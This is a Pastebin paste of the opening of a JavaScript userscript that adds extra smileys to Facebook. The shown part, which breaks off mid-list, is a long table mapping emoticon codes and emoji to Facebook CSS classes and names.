Advertisement
hackerhan

Iconfacebook

Jul 23rd, 2014
311
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 43.48 KB | None | 0 0
  1. (function() {
  2. // Active only in main frame
  3. if (!document.querySelector("#pageNav")) {
  4. return;
  5. }
  6. //console.info("Extra Facebook Smileys");
  7.  
  8. // = Data =======
  9. var emoticons = [ { // Text to picture emoticons
  10. "chars" : " :) ",
  11. "class" : "emoticon_smile",
  12. "name" : "Smiley"
  13. }, {
  14. "chars" : " :( ",
  15. "class" : "emoticon_frown",
  16. "name" : "Frown"
  17. }, {
  18. "chars" : " :P ",
  19. "class" : "emoticon_tongue",
  20. "name" : "Tongue"
  21. }, {
  22. "chars" : " :D ",
  23. "class" : "emoticon_grin",
  24. "name" : "Grin"
  25. }, {
  26. "chars" : " :o ",
  27. "class" : "emoticon_gasp",
  28. "name" : "Gasp"
  29. }, {
  30. "chars" : " ;) ",
  31. "class" : "emoticon_wink",
  32. "name" : "Wink"
  33. }, {
  34. "chars" : " :v ",
  35. "class" : "emoticon_pacman",
  36. "name" : "Pacman"
  37. }, {
  38. "chars" : " >:( ",
  39. "class" : "emoticon_grumpy",
  40. "name" : "Gruñón"
  41. }, {
  42. "chars" : " :/ ",
  43. "class" : "emoticon_unsure",
  44. "name" : "Unsure"
  45. }, {
  46. "chars" : " :'( ",
  47. "class" : "emoticon_cry",
  48. "name" : "Cry"
  49. }, {
  50. "chars" : " ^_^ ",
  51. "class" : "emoticon_kiki",
  52. "name" : "Kiki"
  53. }, {
  54. "chars" : " 8) ",
  55. "class" : "emoticon_glasses",
  56. "name" : "Glasses"
  57. }, {
  58. "chars" : " B| ",
  59. "class" : "emoticon_sunglasses",
  60. "name" : "Sunglasses"
  61. }, {
  62. "chars" : " <3 ",
  63. "class" : "emoticon_heart",
  64. "name" : "Heart"
  65. }, {
  66. "chars" : " 3:) ",
  67. "class" : "emoticon_devil",
  68. "name" : "Devil"
  69. }, {
  70. "chars" : " O:) ",
  71. "class" : "emoticon_angel",
  72. "name" : "Angel"
  73. }, {
  74. "chars" : " -_- ",
  75. "class" : "emoticon_squint",
  76. "name" : "Squint"
  77. }, {
  78. "chars" : " o.O ",
  79. "class" : "emoticon_confused",
  80. "name" : "Confused"
  81. }, {
  82. "chars" : " >:o ",
  83. "class" : "emoticon_upset",
  84. "name" : "Upset"
  85. }, {
  86. "chars" : " :3 ",
  87. "class" : "emoticon_colonthree",
  88. "name" : "Colonthree"
  89. }, {
  90. "chars" : " (y) ",
  91. "class" : "emoticon_like",
  92. "name" : "Like"
  93. }, {
  94. "chars" : " :* ",
  95. "class" : "emoticon emoticon_kiss",
  96. "name" : "Kiss"
  97. }, {
  98. "chars" : " (^^^) ",
  99. "class" : "emoticon_shark",
  100. "name" : "Shark"
  101. }, {
  102. "chars" : " :|] ",
  103. "class" : "emoticon_robot",
  104. "name" : "Robot"
  105. }, {
  106. "chars" : " <(\") ",
  107. "class" : "emoticon_penguin",
  108. "name" : "Pingüino"
  109. }, {
  110. "chars" : " :poop: ",
  111. "class" : "emoticon_poop",
  112. "name" : "Poop"
  113. }, {
  114. "chars" : " :putnam: ",
  115. "class" : "emoticon_putnam",
  116. "name" : "Putman"
  117. }, {
  118. "chars" : " \ud83c\udf02 ",
  119. "class" : "_1az _1a- _2c0",
  120. "name" : "Pink Umbrella"
  121. }, {
  122. "chars" : " \ud83c\udf0a ",
  123. "class" : "_1az _1a- _2c1",
  124. "name" : "Sea Wave"
  125. }, {
  126. "chars" : " \ud83c\udf19 ",
  127. "class" : "_1az _1a- _2c2",
  128. "name" : "Crescent moon"
  129. }, {
  130. "chars" : " \ud83c\udf1f ",
  131. "class" : "_1az _1a- _2c3",
  132. "name" : "Bright Star"
  133. }, {
  134. "chars" : " \ud83c\udf31 ",
  135. "class" : "_1az _1a- _2c4",
  136. "name" : "Seedbed"
  137. }, {
  138. "chars" : " \ud83c\udf34 ",
  139. "class" : "_1az _1a- _2c5",
  140. "name" : "Single Palm Tree"
  141. }, {
  142. "chars" : " \ud83c\udf35 ",
  143. "class" : "_1az _1a- _2c6",
  144. "name" : "Cactus"
  145. }, {
  146. "chars" : " \ud83c\udf37 ",
  147. "class" : "_1az _1a- _2c7",
  148. "name" : "Tulip"
  149. }, {
  150. "chars" : " \ud83c\udf38 ",
  151. "class" : "_1az _1a- _2c8",
  152. "name" : "Cherry Blossom"
  153. }, {
  154. "chars" : " \ud83c\udf39 ",
  155. "class" : "_1az _1a- _2c9",
  156. "name" : "Rose"
  157. }, {
  158. "chars" : " \ud83c\udf3a ",
  159. "class" : "_1az _1a- _2ca",
  160. "name" : "Cayenne"
  161. }, {
  162. "chars" : " \ud83c\udf3b ",
  163. "class" : "_1az _1a- _2cb",
  164. "name" : "Sunflower"
  165. }, {
  166. "chars" : " \ud83c\udf3e ",
  167. "class" : "_1az _1a- _2cc",
  168. "name" : "Ear Of Rice"
  169. }, {
  170. "chars" : " \ud83c\udf40 ",
  171. "class" : "_1az _1a- _2cd",
  172. "name" : "Four Leaf Clover"
  173. }, {
  174. "chars" : " \ud83c\udf41 ",
  175. "class" : "_1az _1a- _2ce",
  176. "name" : "Maple Leaf"
  177. }, {
  178. "chars" : " \ud83c\udf42 ",
  179. "class" : "_1az _1a- _2cf",
  180. "name" : "Fallen Leaf"
  181. }, {
  182. "chars" : " \ud83c\udf43 ",
  183. "class" : "_1az _1a- _2cg",
  184. "name" : "Leaf Floating In The Wind"
  185. }, {
  186. "chars" : " \ud83c\udf4a ",
  187. "class" : "_1az _1a- _2ch",
  188. "name" : "Tangerine"
  189. }, {
  190. "chars" : " \ud83c\udf4e ",
  191. "class" : "_1az _1a- _2ci",
  192. "name" : "Red Apple"
  193. }, {
  194. "chars" : " \ud83c\udf53 ",
  195. "class" : "_1az _1a- _2cj",
  196. "name" : "Strawberry"
  197. }, {
  198. "chars" : " \ud83c\udf54 ",
  199. "class" : "_1az _1a- _2ck",
  200. "name" : "Burger"
  201. }, {
  202. "chars" : " \ud83c\udf78 ",
  203. "class" : "_1az _1a- _2cl",
  204. "name" : "Cocktail Glass"
  205. }, {
  206. "chars" : " \ud83c\udf7a ",
  207. "class" : "_1az _1a- _2cm",
  208. "name" : "Tankard"
  209. }, {
  210. "chars" : " \ud83c\udf81 ",
  211. "class" : "_1az _1a- _2cn",
  212. "name" : "Gift Wrapped"
  213. }, {
  214. "chars" : " \ud83c\udf83 ",
  215. "class" : "_1az _1a- _2co",
  216. "name" : "Pumpkin With Candle"
  217. }, {
  218. "chars" : " \ud83c\udf84 ",
  219. "class" : "_1az _1a- _2cp",
  220. "name" : "Christmas Tree"
  221. }, {
  222. "chars" : " \ud83c\udf85 ",
  223. "class" : "_1az _1a- _2cq",
  224. "name" : "Santa"
  225. }, {
  226. "chars" : " \ud83c\udf88 ",
  227. "class" : "_1az _1a- _2cr",
  228. "name" : "Balloon"
  229. }, {
  230. "chars" : " \ud83c\udf89 ",
  231. "class" : "_1az _1a- _2cs",
  232. "name" : "Party Popper"
  233. }, {
  234. "chars" : " \ud83c\udf8d ",
  235. "class" : "_1az _1a- _2ct",
  236. "name" : "Pine Decor"
  237. }, {
  238. "chars" : " \ud83c\udf8e ",
  239. "class" : "_1az _1a- _2cu",
  240. "name" : "Japanese Dolls"
  241. }, {
  242. "chars" : " \ud83c\udf8f ",
  243. "class" : "_1az _1a- _2cv",
  244. "name" : "Carp Streamer"
  245. }, {
  246. "chars" : " \ud83c\udf90 ",
  247. "class" : "_1az _1a- _2cw",
  248. "name" : "Wind Chime"
  249. }, {
  250. "chars" : " \ud83c\udf93 ",
  251. "class" : "_1az _1a- _2cx",
  252. "name" : "Graduation Cap"
  253. }, {
  254. "chars" : " \ud83c\udfb5 ",
  255. "class" : "_1az _1a- _2cy",
  256. "name" : "Musical Note"
  257. }, {
  258. "chars" : " \ud83c\udfb6 ",
  259. "class" : "_1az _1a- _2cz",
  260. "name" : "Multiple Musical Notes"
  261. }, {
  262. "chars" : " \ud83c\udfbc ",
  263. "class" : "_1az _1a- _2c-",
  264. "name" : "Musical Score"
  265. }, {
  266. "chars" : " \ud83d\udc0d ",
  267. "class" : "_1az _1a- _2c_",
  268. "name" : "Snake"
  269. }, {
  270. "chars" : " \ud83d\udc0e ",
  271. "class" : "_1az _1a- _2d0",
  272. "name" : "Horse"
  273. }, {
  274. "chars" : " \ud83d\udc11 ",
  275. "class" : "_1az _1a- _2d1",
  276. "name" : "Sheep"
  277. }, {
  278. "chars" : " \ud83d\udc12 ",
  279. "class" : "_1az _1a- _2d2",
  280. "name" : "Monkey"
  281. }, {
  282. "chars" : " \ud83d\udc14 ",
  283. "class" : "_1az _1a- _2d3",
  284. "name" : "Hen"
  285. }, {
  286. "chars" : " \ud83d\udc17 ",
  287. "class" : "_1az _1a- _2d4",
  288. "name" : "Wild Boar"
  289. }, {
  290. "chars" : " \ud83d\udc18 ",
  291. "class" : "_1az _1a- _2d5",
  292. "name" : "Elephant"
  293. }, {
  294. "chars" : " \ud83d\udc19 ",
  295. "class" : "_1az _1a- _2d6",
  296. "name" : "Octopus"
  297. }, {
  298. "chars" : " \ud83d\udc1a ",
  299. "class" : "_1az _1a- _2d7",
  300. "name" : "Snail Shell"
  301. }, {
  302. "chars" : " \ud83d\udc1b ",
  303. "class" : "_1az _1a- _2d8",
  304. "name" : "Insect"
  305. }, {
  306. "chars" : " \ud83d\udc1f ",
  307. "class" : "_1az _1a- _2d9",
  308. "name" : "Fish"
  309. }, {
  310. "chars" : " \ud83d\udc20 ",
  311. "class" : "_1az _1a- _2da",
  312. "name" : "Tropical Fish"
  313. }, {
  314. "chars" : " \ud83d\udc21 ",
  315. "class" : "_1az _1a- _2db",
  316. "name" : "Pufferfish"
  317. }, {
  318. "chars" : " \ud83d\udc25 ",
  319. "class" : "_1az _1a- _2dc",
  320. "name" : "Chick In Front"
  321. }, {
  322. "chars" : " \ud83d\udc26 ",
  323. "class" : "_1az _1a- _2dd",
  324. "name" : "Bird"
  325. }, {
  326. "chars" : " \ud83d\udc27 ",
  327. "class" : "_1az _1a- _2de",
  328. "name" : "Penguin"
  329. }, {
  330. "chars" : " \ud83d\udc28 ",
  331. "class" : "_1az _1a- _2df",
  332. "name" : "Koala"
  333. }, {
  334. "chars" : " \ud83d\udc29 ",
  335. "class" : "_1az _1a- _2dg",
  336. "name" : "Poodle"
  337. }, {
  338. "chars" : " \ud83d\udc2b ",
  339. "class" : "_1az _1a- _2dh",
  340. "name" : "Bactrian Camel"
  341. }, {
  342. "chars" : " \ud83d\udc2c ",
  343. "class" : "_1az _1a- _2di",
  344. "name" : "Dolphin"
  345. }, {
  346. "chars" : " \ud83d\udc2d ",
  347. "class" : "_1az _1a- _2dj",
  348. "name" : "Mouse Face"
  349. }, {
  350. "chars" : " \ud83d\udc2e ",
  351. "class" : "_1az _1a- _2dk",
  352. "name" : "Cow Face"
  353. }, {
  354. "chars" : " \ud83d\udc2f ",
  355. "class" : "_1az _1a- _2dl",
  356. "name" : "Cara de tigre"
  357. }, {
  358. "chars" : " \ud83d\udc30 ",
  359. "class" : "_1az _1a- _2dm",
  360. "name" : "Rabbit Face"
  361. }, {
  362. "chars" : " \ud83d\udc31 ",
  363. "class" : "_1az _1a- _2dn",
  364. "name" : "Cat Face"
  365. }, {
  366. "chars" : " \ud83d\udc33 ",
  367. "class" : "_1az _1a- _2do",
  368. "name" : "Whale Sputtering"
  369. }, {
  370. "chars" : " \ud83d\udc34 ",
  371. "class" : "_1az _1a- _2dp",
  372. "name" : "Horse Face"
  373. }, {
  374. "chars" : " \ud83d\udc35 ",
  375. "class" : "_1az _1a- _2dq",
  376. "name" : "Monkey Face"
  377. }, {
  378. "chars" : " \ud83d\udc37 ",
  379. "class" : "_1az _1a- _2dr",
  380. "name" : "Pig face"
  381. }, {
  382. "chars" : " \ud83d\udc38 ",
  383. "class" : "_1az _1a- _2ds",
  384. "name" : "Frog Face"
  385. }, {
  386. "chars" : " \ud83d\udc39 ",
  387. "class" : "_1az _1a- _2dt",
  388. "name" : "Hamster Face"
  389. }, {
  390. "chars" : " \ud83d\udc3a ",
  391. "class" : "_1az _1a- _2du",
  392. "name" : "Wolf Face"
  393. }, {
  394. "chars" : " \ud83d\udc3b ",
  395. "class" : "_1az _1a- _2dv",
  396. "name" : "Bear Face"
  397. }, {
  398. "chars" : " \ud83d\udc3e ",
  399. "class" : "_1az _1a- _2dw",
  400. "name" : "Footprints"
  401. }, {
  402. "chars" : " \ud83d\udc40 ",
  403. "class" : "_1az _1a- _2dx",
  404. "name" : "Eyes"
  405. }, {
  406. "chars" : " \ud83d\udc42 ",
  407. "class" : "_1az _1a- _2dy",
  408. "name" : "Ear"
  409. }, {
  410. "chars" : " \ud83d\udc43 ",
  411. "class" : "_1az _1a- _2dz",
  412. "name" : "Nose"
  413. }, {
  414. "chars" : " \ud83d\udc44 ",
  415. "class" : "_1az _1a- _2d-",
  416. "name" : "Mouth"
  417. }, {
  418. "chars" : " \ud83d\udc45 ",
  419. "class" : "_1az _1a- _2d_",
  420. "name" : "Sour Face"
  421. }, {
  422. "chars" : " \ud83d\udc46 ",
  423. "class" : "_1az _1a- _2e0",
  424. "name" : "White hand pointing up"
  425. }, {
  426. "chars" : " \ud83d\udc47 ",
  427. "class" : "_1az _1a- _2e1",
  428. "name" : "White hand faces downward"
  429. }, {
  430. "chars" : " \ud83d\udc48 ",
  431. "class" : "_1az _1a- _2e2",
  432. "name" : "White hand indicating left"
  433. }, {
  434. "chars" : " \ud83d\udc49 ",
  435. "class" : "_1az _1a- _2e3",
  436. "name" : "White hand indicating right"
  437. }, {
  438. "chars" : " \ud83d\udc4a ",
  439. "class" : "_1az _1a- _2e4",
  440. "name" : "Fist"
  441. }, {
  442. "chars" : " \ud83d\udc4b ",
  443. "class" : "_1az _1a- _2e5",
  444. "name" : "Hand in motion"
  445. }, {
  446. "chars" : " \ud83d\udc4c ",
  447. "class" : "_1az _1a- _2e6",
  448. "name" : "Hand showing all good"
  449. }, {
  450. "chars" : " \ud83d\udc4d ",
  451. "class" : "_1az _1a- _2e7",
  452. "name" : "Hand with thumb up"
  453. }, {
  454. "chars" : " \ud83d\udc4e ",
  455. "class" : "_1az _1a- _2e8",
  456. "name" : "Hand with thumb down"
  457. }, {
  458. "chars" : " \ud83d\udc4f ",
  459. "class" : "_1az _1a- _2e9",
  460. "name" : "Hands clapping"
  461. }, {
  462. "chars" : " \ud83d\udc50 ",
  463. "class" : "_1az _1a- _2ea",
  464. "name" : "Open Hands"
  465. }, {
  466. "chars" : " \ud83d\udc66 ",
  467. "class" : "_1az _1a- _2eb",
  468. "name" : "Boy"
  469. }, {
  470. "chars" : " \ud83d\udc67 ",
  471. "class" : "_1az _1a- _2ec",
  472. "name" : "Girl"
  473. }, {
  474. "chars" : " \ud83d\udc68 ",
  475. "class" : "_1az _1a- _2ed",
  476. "name" : "Man"
  477. }, {
  478. "chars" : " \ud83d\udc69 ",
  479. "class" : "_1az _1a- _2ee",
  480. "name" : "Woman"
  481. }, {
  482. "chars" : " \ud83d\udc6b ",
  483. "class" : "_1az _1a- _2ef",
  484. "name" : "Man and woman holding hands"
  485. }, {
  486. "chars" : " \ud83d\udc6e ",
  487. "class" : "_1az _1a- _2eg",
  488. "name" : "Police Officer"
  489. }, {
  490. "chars" : " \ud83d\udc6f ",
  491. "class" : "_1az _1a- _2eh",
  492. "name" : "Woman with bunny ears"
  493. }, {
  494. "chars" : " \ud83d\udc71 ",
  495. "class" : "_1az _1a- _2ei",
  496. "name" : "Person with hair rubio"
  497. }, {
  498. "chars" : " \ud83d\udc72 ",
  499. "class" : "_1az _1a- _2ej",
  500. "name" : "Man with pi mao gua"
  501. }, {
  502. "chars" : " \ud83d\udc73 ",
  503. "class" : "_1az _1a- _2ek",
  504. "name" : "Man with turban"
  505. }, {
  506. "chars" : " \ud83d\udc74 ",
  507. "class" : "_1az _1a- _2el",
  508. "name" : "Old Man"
  509. }, {
  510. "chars" : " \ud83d\udc75 ",
  511. "class" : "_1az _1a- _2em",
  512. "name" : "Old Woman"
  513. }, {
  514. "chars" : " \ud83d\udc76 ",
  515. "class" : "_1az _1a- _2en",
  516. "name" : "Baby"
  517. }, {
  518. "chars" : " \ud83d\udc77 ",
  519. "class" : "_1az _1a- _2eo",
  520. "name" : "Construction Worker"
  521. }, {
  522. "chars" : " \ud83d\udc78 ",
  523. "class" : "_1az _1a- _2ep",
  524. "name" : "Princess"
  525. }, {
  526. "chars" : " \ud83d\udc7b ",
  527. "class" : "_1az _1a- _2eq",
  528. "name" : "Ghost"
  529. }, {
  530. "chars" : " \ud83d\udc7c ",
  531. "class" : "_1az _1a- _2er",
  532. "name" : "Angel baby"
  533. }, {
  534. "chars" : " \ud83d\udc7d ",
  535. "class" : "_1az _1a- _2es",
  536. "name" : "Alien"
  537. }, {
  538. "chars" : " \ud83d\udc7e ",
  539. "class" : "_1az _1a- _2et",
  540. "name" : "Alien Monster"
  541. }, {
  542. "chars" : " \ud83d\udc7f ",
  543. "class" : "_1az _1a- _2eu",
  544. "name" : "Imp"
  545. }, {
  546. "chars" : " \ud83d\udc80 ",
  547. "class" : "_1az _1a- _2ev",
  548. "name" : "Skull"
  549. }, {
  550. "chars" : " \ud83d\udc82 ",
  551. "class" : "_1az _1a- _2ew",
  552. "name" : "Guard"
  553. }, {
  554. "chars" : " \ud83d\udc83 ",
  555. "class" : "_1az _1a- _2ex",
  556. "name" : "Ballerina"
  557. }, {
  558. "chars" : " \ud83d\udc85 ",
  559. "class" : "_1az _1a- _2ey",
  560. "name" : "Nail Polish"
  561. }, {
  562. "chars" : " \ud83d\udc8b ",
  563. "class" : "_1az _1a- _2ez",
  564. "name" : "Brand of kiss"
  565. }, {
  566. "chars" : " \ud83d\udc8f ",
  567. "class" : "_1az _1a- _2e-",
  568. "name" : "Kissing couple"
  569. }, {
  570. "chars" : " \ud83d\udc90 ",
  571. "class" : "_1az _1a- _2e_",
  572. "name" : "Bunch of flowers"
  573. }, {
  574. "chars" : " \ud83d\udc91 ",
  575. "class" : "_1az _1a- _2f0",
  576. "name" : "Couple with heart"
  577. }, {
  578. "chars" : " \ud83d\udc93 ",
  579. "class" : "_1az _1a- _2f1",
  580. "name" : "Heart beating"
  581. }, {
  582. "chars" : " \ud83d\udc94 ",
  583. "class" : "_1az _1a- _2f2",
  584. "name" : "Broken Heart"
  585. }, {
  586. "chars" : " \ud83d\udc96 ",
  587. "class" : "_1az _1a- _2f3",
  588. "name" : "Bright Heart"
  589. }, {
  590. "chars" : " \ud83d\udc97 ",
  591. "class" : "_1az _1a- _2f4",
  592. "name" : "Heart growing"
  593. }, {
  594. "chars" : " \ud83d\udc98 ",
  595. "class" : "_1az _1a- _2f5",
  596. "name" : "Heart with arrow"
  597. }, {
  598. "chars" : " \ud83d\udc99 ",
  599. "class" : "_1az _1a- _2f6",
  600. "name" : "Blue Heart"
  601. }, {
  602. "chars" : " \ud83d\udc9a ",
  603. "class" : "_1az _1a- _2f7",
  604. "name" : "Green Heart"
  605. }, {
  606. "chars" : " \ud83d\udc9b ",
  607. "class" : "_1az _1a- _2f8",
  608. "name" : "Yellow Heart"
  609. }, {
  610. "chars" : " \ud83d\udc9c ",
  611. "class" : "_1az _1a- _2f9",
  612. "name" : "Purple Heart"
  613. }, {
  614. "chars" : " \ud83d\udc9d ",
  615. "class" : "_1az _1a- _2fa",
  616. "name" : "Heart with ribbon"
  617. }, {
  618. "chars" : " \ud83d\udca2 ",
  619. "class" : "_1az _1a- _2fb",
  620. "name" : "Symbol of anger"
  621. }, {
  622. "chars" : " \ud83d\udca4 ",
  623. "class" : "_1az _1a- _2fc",
  624. "name" : "Sleeping"
  625. }, {
  626. "chars" : " \ud83d\udca6 ",
  627. "class" : "_1az _1a- _2fd",
  628. "name" : "Sweat Symbol"
  629. }, {
  630. "chars" : " \ud83d\udca8 ",
  631. "class" : "_1az _1a- _2fe",
  632. "name" : "Quick Start Symbol"
  633. }, {
  634. "chars" : " \ud83d\udca9 ",
  635. "class" : "_1az _1a- _2ff",
  636. "name" : "Pile of Caca"
  637. }, {
  638. "chars" : " \ud83d\udcaa ",
  639. "class" : "_1az _1a- _2fg",
  640. "name" : "Flexed bicep"
  641. }, {
  642. "chars" : " \ud83d\udcbb ",
  643. "class" : "_1az _1a- _2fh",
  644. "name" : "Personal Computer"
  645. }, {
  646. "chars" : " \ud83d\udcbd ",
  647. "class" : "_1az _1a- _2fi",
  648. "name" : "Mini Disco"
  649. }, {
  650. "chars" : " \ud83d\udcbe ",
  651. "class" : "_1az _1a- _2fj",
  652. "name" : "Floppy disk"
  653. }, {
  654. "chars" : " \ud83d\udcbf ",
  655. "class" : "_1az _1a- _2fk",
  656. "name" : "Optical Disc"
  657. }, {
  658. "chars" : " \ud83d\udcc0 ",
  659. "class" : "_1az _1a- _2fl",
  660. "name" : "DVD"
  661. }, {
  662. "chars" : " \ud83d\udcde ",
  663. "class" : "_1az _1a- _2fm",
  664. "name" : "Telephone receiver"
  665. }, {
  666. "chars" : " \ud83d\udce0 ",
  667. "class" : "_1az _1a- _2fn",
  668. "name" : "Fax"
  669. }, {
  670. "chars" : " \ud83d\udcf1 ",
  671. "class" : "_1az _1a- _2fo",
  672. "name" : "Mobile Phone"
  673. }, {
  674. "chars" : " \ud83d\udcf2 ",
  675. "class" : "_1az _1a- _2fp",
  676. "name" : "Mobile phone with arrow from left to right"
  677. }, {
  678. "chars" : " \ud83d\udcfa ",
  679. "class" : "_1az _1a- _2fq",
  680. "name" : "Television"
  681. }, {
  682. "chars" : " \ud83d\udd14 ",
  683. "class" : "_1az _1a- _2fr",
  684. "name" : "Bell"
  685. }, {
  686. "chars" : " \ud83d\ude01 ",
  687. "class" : "_1az _1a- _2fs",
  688. "name" : "Face to face with smiling eyes"
  689. }, {
  690. "chars" : " \ud83d\ude02 ",
  691. "class" : "_1az _1a- _2ft",
  692. "name" : "Face with tears of joy"
  693. }, {
  694. "chars" : " \ud83d\ude03 ",
  695. "class" : "_1az _1a- _2fu",
  696. "name" : "Smiley face with open mouth"
  697. }, {
  698. "chars" : " \ud83d\ude04 ",
  699. "class" : "_1az _1a- _2fv",
  700. "name" : "Face and eyes smiling with mouth open"
  701. }, {
  702. "chars" : " \ud83d\ude06 ",
  703. "class" : "_1az _1a- _2fw",
  704. "name" : "Smiley face with mouth open and eyes closed"
  705. }, {
  706. "chars" : " \ud83d\ude09 ",
  707. "class" : "_1az _1a- _2fx",
  708. "name" : "Face winking eye"
  709. }, {
  710. "chars" : " \ud83d\ude0b ",
  711. "class" : "_1az _1a- _2fy",
  712. "name" : "Guy savoring delicious food"
  713. }, {
  714. "chars" : " \ud83d\ude0c ",
  715. "class" : "_1az _1a- _2fz",
  716. "name" : "Relief face"
  717. }, {
  718. "chars" : " \ud83d\ude0d ",
  719. "class" : "_1az _1a- _2f-",
  720. "name" : "Smiley face with heart shaped eyes"
  721. }, {
  722. "chars" : " \ud83d\ude0f ",
  723. "class" : "_1az _1a- _2f_",
  724. "name" : "Smirk face"
  725. }, {
  726. "chars" : " \ud83d\ude12 ",
  727. "class" : "_1az _1a- _2g0",
  728. "name" : "Face of boredom"
  729. }, {
  730. "chars" : " \ud83d\ude13 ",
  731. "class" : "_1az _1a- _2g1",
  732. "name" : "Face with cold sweat"
  733. }, {
  734. "chars" : " \ud83d\ude14 ",
  735. "class" : "_1az _1a- _2g2",
  736. "name" : "Pensive face"
  737. }, {
  738. "chars" : " \ud83d\ude16 ",
  739. "class" : "_1az _1a- _2g3",
  740. "name" : "Confused face"
  741. }, {
  742. "chars" : " \ud83d\ude18 ",
  743. "class" : "_1az _1a- _2g4",
  744. "name" : "Throwing kiss Face"
  745. }, {
  746. "chars" : " \ud83d\ude1a ",
  747. "class" : "_1az _1a- _2g5",
  748. "name" : "Kissing face with eyes closed"
  749. }, {
  750. "chars" : " \ud83d\ude1c ",
  751. "class" : "_1az _1a- _2g6",
  752. "name" : "Face with tongue out and winking"
  753. }, {
  754. "chars" : " \ud83d\ude1d ",
  755. "class" : "_1az _1a- _2g7",
  756. "name" : "Face with tongue hanging out and eyes closed"
  757. }, {
  758. "chars" : " \ud83d\ude1e ",
  759. "class" : "_1az _1a- _2g8",
  760. "name" : "Face discouraged"
  761. }, {
  762. "chars" : " \ud83d\ude20 ",
  763. "class" : "_1az _1a- _2g9",
  764. "name" : "Face of anger"
  765. }, {
  766. "chars" : " \ud83d\ude21 ",
  767. "class" : "_1az _1a- _2ga",
  768. "name" : "Very angry face"
  769. }, {
  770. "chars" : " \ud83d\ude22 ",
  771. "class" : "_1az _1a- _2gb",
  772. "name" : "Crying Face"
  773. }, {
  774. "chars" : " \ud83d\ude23 ",
  775. "class" : "_1az _1a- _2gc",
  776. "name" : "Face of perseverance"
  777. }, {
  778. "chars" : " \ud83d\ude24 ",
  779. "class" : "_1az _1a- _2gd",
  780. "name" : "Face of triumph"
  781. }, {
  782. "chars" : " \ud83d\ude25 ",
  783. "class" : "_1az _1a- _2ge",
  784. "name" : "Face discouraged but relieved"
  785. }, {
  786. "chars" : " \ud83d\ude28 ",
  787. "class" : "_1az _1a- _2gf",
  788. "name" : "Scary face"
  789. }, {
  790. "chars" : " \ud83d\ude29 ",
  791. "class" : "_1az _1a- _2gg",
  792. "name" : "Fatigued face"
  793. }, {
  794. "chars" : " \ud83d\ude2a ",
  795. "class" : "_1az _1a- _2gh",
  796. "name" : "Sleeping face"
  797. }, {
  798. "chars" : " \ud83d\ude2b ",
  799. "class" : "_1az _1a- _2gi",
  800. "name" : "Tired face"
  801. }, {
  802. "chars" : " \ud83d\ude2d ",
  803. "class" : "_1az _1a- _2gj",
  804. "name" : "Face screaming"
  805. }, {
  806. "chars" : " \ud83d\ude30 ",
  807. "class" : "_1az _1a- _2gk",
  808. "name" : "Face with mouth open and cold sweat"
  809. }, {
  810. "chars" : " \ud83d\ude31 ",
  811. "class" : "_1az _1a- _2gl",
  812. "name" : "Terrified face of fear"
  813. }, {
  814. "chars" : " \ud83d\ude32 ",
  815. "class" : "_1az _1a- _2gm",
  816. "name" : "Very surprised face"
  817. }, {
  818. "chars" : " \ud83d\ude33 ",
  819. "class" : "_1az _1a- _2gn",
  820. "name" : "Face flushed"
  821. }, {
  822. "chars" : " \ud83d\ude35 ",
  823. "class" : "_1az _1a- _2go",
  824. "name" : "Face dizzy"
  825. }, {
  826. "chars" : " \ud83d\ude37 ",
  827. "class" : "_1az _1a- _2gp",
  828. "name" : "Face with medical mask"
  829. }, {
  830. "chars" : " \ud83d\ude38 ",
  831. "class" : "_1az _1a- _2gq",
  832. "name" : "Grinning Cat face and eyes closed"
  833. }, {
  834. "chars" : " \ud83d\ude39 ",
  835. "class" : "_1az _1a- _2gr",
  836. "name" : "Cat face with tears of laughter"
  837. }, {
  838. "chars" : " \ud83d\ude3a ",
  839. "class" : "_1az _1a- _2gs",
  840. "name" : "Smiling cat face with open mouth"
  841. }, {
  842. "chars" : " \ud83d\ude3b ",
  843. "class" : "_1az _1a- _2gt",
  844. "name" : "Smiling cat face with hearts in her eyes"
  845. }, {
  846. "chars" : " \ud83d\ude3c ",
  847. "class" : "_1az _1a- _2gu",
  848. "name" : "Face of cat smile twisted"
  849. }, {
  850. "chars" : " \ud83d\ude3d ",
  851. "class" : "_1az _1a- _2gv",
  852. "name" : "Cat face kissing with eyes closed"
  853. }, {
  854. "chars" : " \ud83d\ude3f ",
  855. "class" : "_1az _1a- _2gw",
  856. "name" : "Cat face crying"
  857. }, {
  858. "chars" : " \ud83d\ude40 ",
  859. "class" : "_1az _1a- _2gx",
  860. "name" : "Cat face scared terrified"
  861. }, {
  862. "chars" : " \ud83d\ude4b ",
  863. "class" : "_1az _1a- _2gy",
  864. "name" : "Happy person raising a hand"
  865. }, {
  866. "chars" : " \ud83d\ude4c ",
  867. "class" : "_1az _1a- _2gz",
  868. "name" : "Person holding up both hands in celebration"
  869. }, {
  870. "chars" : " \ud83d\ude4d ",
  871. "class" : "_1az _1a- _2g-",
  872. "name" : "Person frowning"
  873. }, {
  874. "chars" : " \ud83d\ude4f ",
  875. "class" : "_1az _1a- _2g_",
  876. "name" : "Person in prayer"
  877. }, {
  878. "chars" : " \u261d ",
  879. "class" : "_1az _1a- _2h0",
  880. "name" : "Index finger pointing up"
  881. }, {
  882. "chars" : " \u263a ",
  883. "class" : "_1az _1a- _2h1",
  884. "name" : "White face smiling"
  885. }, {
  886. "chars" : " \u26a1 ",
  887. "class" : "_1az _1a- _2h2",
  888. "name" : "High voltage symbol"
  889. }, {
  890. "chars" : " \u26c4 ",
  891. "class" : "_1az _1a- _2h3",
  892. "name" : "Snowless snowman"
  893. }, {
  894. "chars" : " \u270a ",
  895. "class" : "_1az _1a- _2h4",
  896. "name" : "Fist up"
  897. }, {
  898. "chars" : " \u270b ",
  899. "class" : "_1az _1a- _2h5",
  900. "name" : "Hand pointing up"
  901. }, {
  902. "chars" : " \u270c ",
  903. "class" : "_1az _1a- _2h6",
  904. "name" : "Winning Hand"
  905. }, {
  906. "chars" : " \u2600 ",
  907. "class" : "_1az _1a- _2h7",
  908. "name" : "Sun With Rays"
  909. }, {
  910. "chars" : " \u2601 ",
  911. "class" : "_1az _1a- _2h8",
  912. "name" : "Cloud"
  913. }, {
  914. "chars" : " \u2614 ",
  915. "class" : "_1az _1a- _2h9",
  916. "name" : "Umbrella With Rain Drops"
  917. }, {
  918. "chars" : " \u2615 ",
  919. "class" : "_1az _1a- _2ha",
  920. "name" : "Hot Drink"
  921. }, {
  922. "chars" : " \u2728 ",
  923. "class" : "_1az _1a- _2hb",
  924. "name" : "Brightness"
  925. }, {
  926. "chars" : " \u2764 ",
